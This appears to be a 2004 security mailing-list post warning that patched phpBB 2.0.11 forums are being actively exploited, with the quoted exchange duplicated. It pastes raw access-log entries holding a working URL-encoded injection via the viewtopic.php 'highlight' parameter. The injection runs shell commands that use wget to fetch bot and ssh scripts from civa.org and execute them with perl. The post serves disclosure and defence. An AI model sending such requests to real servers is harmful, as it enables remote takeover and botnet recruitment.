>> This assumes you're seeing GET-requests, but there are other ways
>> (e.g. POST) to exploit such code.
> Whilst I understand your point, it should be noted that this
> vulnerability in phpBB is susceptible only to GET-based attacks: the
> vulnerable data is sourced from $HTTP_GET_VARS.
And it seems worse, we see even upgraded phpbb2 installs (2.0.11)
succesfully and activly being exploited.
>> This assumes you're seeing GET-requests, but there are other ways
>> (e.g. POST) to exploit such code.
> Whilst I understand your point, it should be noted that this
> vulnerability in phpBB is susceptible only to GET-based attacks: the
> vulnerable data is sourced from $HTTP_GET_VARS.
And it seems worse, we see even upgraded phpbb2 installs (2.0.11)
succesfully and activly being exploited.
216.22.10.90 - - [24/Dec/2004:18:42:54 +0100] "GET
/phpBB2/viewtopic.php?t=753&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B
%20cd%20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.
a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%6
1%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%7
5%73%68%5D%29.%2527
HTTP/1.1" 200 12758 "-" "LWP::Simple/5.803"
66.152.98.103 - - [24/Dec/2004:19:02:15 +0100] "GET
/phpBB2/viewtopic.php?t=753&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B
%20cd%20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.
a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%6
1%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%7
5%73%68%5D%29.%2527
HTTP/1.1" 200 12758 "-" "LWP::Simple/5.79"
64.62.187.10 - - [24/Dec/2004:19:04:11 +0100] "GET
/phpBB2/viewtopic.php?t=817&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B
%20cd%20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.
a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%6
1%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%7
5%73%68%5D%29.%2527
HTTP/1.1" 200 68131 "-" "LWP::Simple/5.63"
[24/Dec/2004:19:09:26 +0100] "GET
/phpBB2/viewtopic.php?p=7222&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3
B%20cd%20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh
.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%
61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%
75%73%68%5D%29.%2527
HTTP/1.1" 200 20767 "-" "LWP::Simple/5.803"
205.214.85.184 - - [24/Dec/2004:19:10:18 +0100] "GET
/phpBB2/viewtopic.php?p=7222&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3
B%20cd%20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh
.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%
61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%
75%73%68%5D%29.%2527
HTTP/1.1" 200 20875 "-" "LWP::Simple/5.802"
Loads of those, and all request the files from civa.org
This is on a patched phpbb2, so be aware!!
Bye,
Raymond.
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